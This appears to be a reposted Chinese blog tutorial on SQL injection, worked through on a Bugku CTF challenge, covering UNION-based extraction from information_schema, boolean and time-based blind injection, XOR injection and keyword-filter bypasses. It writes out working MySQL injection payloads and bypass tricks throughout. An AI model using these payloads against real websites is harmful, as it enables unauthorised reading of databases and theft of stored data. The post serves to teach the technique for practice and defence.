SQL注入初探

一,常规注入步骤:

1,正常输入

2,判断是否存在SQL注入

  一般输入单引号判断“ ‘ ”,若服务器未做过滤则说明存在注入。

3,判断是数字型注入还是字符型注入

  输入“2-1”,若是数字型则返回ID=1的情况。

  输入“1’ or '1' = '1”,若返回ID=1的情况说明是字符型注入。

4,猜解查询字段的长度

  输入“1‘ union select 1,2#” 若未显示结果则继续。

  输入“1’ union select 1,2,3#”... 直到显示正确结果,union select 的个数就是字段长度。

  或者是使用“1‘ order by 4” 当数字为5时错误,则说明有4个字段

5,尝试通过SQL注入查询敏感信息 (要知道使用的是什么数据库,我这里是mysql)

  (1)获取数据库名:

    -1' union select 1, 2, 3, database()#

    得到数据库名“skctf_flag”

  (2)获取表名:

    -1' union select 1, 2, 3, table_name from information_schema.tables where table_schema=database()#

    得到表名“fl4g, sc”, fl4g的16进制ascii码为0x666c3467

  (3)获取字段:

    -1' union select 1, 2, 3, column_name from information_schema.columns where table_name=0x666c3467#

    得到字段skctf_flag

  (4)查询数据:

    -1' union select 1, 2, 3, skctf_flag from flg4#

    最终得到flag, BUGKU{Sql_INJECT0N_4813drd8hz4}

 

二,SQL注入类型

1,按照参数类型分:数字型/字符型

2,按照数据库返回结果分:回显注入/报错注入/盲注

3,按照注入位置及方式不同分:post注入,get注入,cookie注入,盲注,延时注入,搜索注入,base64注入

 

三,盲注

1,基于boolean的盲注主要表现症状:

0.没有报错信息

1.不管是正确的输入,还是错误的输入,都只显示两种情况 (我们可以认为是0或者1)

2.在正确的输入下,输入and 1=1/and 1=2发现可以判断

在演示sql盲注之前,先演示一个mysql小知识:

  • Select database(); //得到数据库名称
  • Select substr(database(),1,1);//使用substr函数截取结果中的值,从第一个字符开始,截取1个字符。
  • Select ascii(substr(database(),1,1));  将截取出来的字符,转换成acsii码,以便于后面做运算。
  • Select ascii(substr(database(),1,1))>97;  //结果会为1或者0,也就是true or false

(1) 获取数据库长度

Id=1and length((select database()))> number;(number = 1,2,3...一直测试直至返回0)

(2) 逐个字母猜解数据库名

Id=1and ascii(substr(database(),1,1))=97#

(3) 获取表名

Id=1and ascii(substr((select table_name from   information_schema.tables where table_schema=database() limit 0,1),1,1))>100#

2,基于时间的盲注

只能通过服务器响应的时间长短来判断猜测的字段名是否一致,比较耗时,需要进行自动化测试。

(1) 基础判断

sam' and sleep(5)# 如果服务器返回延迟,则说明存在注入

(2) 获取database()

sam' and if ((substr((select database()),1,1))='a', sleep(5), null)#

mysql中if的用法为:if (条件,true返回,false返回)

(3) 获取表信息

sam' and if (

  substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a',

  sleep(5), null)#

 当‘,’被过滤时,可以尝试使用“select case when (条件) then (代码1) else (代码2) end;”

 若不能用substr(), substring(), 可尝试用“from 1 for 1”来获取指定位置的字符

 

四,异或注入

 可以通过在注入点后边加上^(...)来判断是否过滤了关键词。

id = 1' ^(0)%23 不报错,id = 1'^(1=1)%23报错,从而可以进行异或注入

id = 1' ^(length('union'))%23若显示正常则说明union被过滤,同理可以测试select, and, or, limit, from..

可以尝试使用ununionion和seselectlect来绕过过滤

 

 

 

 

 

 

 

SQL注入套路:https://blog.betamao.me/2016/11/25/SQL%E6%B3%A8%E5%85%A5%E5%A5%97%E8%B7%AF/

SQL注入数据库判断:https://www.jianshu.com/p/e308d96e2ecd

          https://www.jianshu.com/p/13e3afa52e64

SQL宽字节注入:https://lyiang.wordpress.com/2015/06/09/sql%E6%B3%A8%E5%85%A5%EF%BC%9A%E5%AE%BD%E5%AD%97%E8%8A%82%E6%B3%A8%E5%85%A5%EF%BC%88gbk%E5%8F%8C%E5%AD%97%E8%8A%82%E7%BB%95%E8%BF%87%EF%BC%89/

CTF中几种通用的sql盲注手法和注入的一些tips:https://www.anquanke.com/post/id/160584

CTF| SQL注入之login界面类:https://www.jianshu.com/p/17da91c3bdab

注入绕过技巧:https://www.jianshu.com/p/48a935b123ce

       http://byd.dropsec.xyz/2016/08/01/SQL-Injection%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/

       https://blog.csdn.net/wy_97/article/details/78085664?utm_source=blogkpcl11

SQLmap使用教程:https://www.cnblogs.com/ichunqiu/p/5805108.html

         https://blog.spoock.com/2016/10/09/sqlmap-notes/

SQLmap自定义HTTP请求头:https://love.ranshy.com/sqlmap%E5%A4%84%E7%90%86cookie%E6%95%B0%E6%8D%AE/

转载于:https://www.cnblogs.com/bl8ck/p/9816961.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值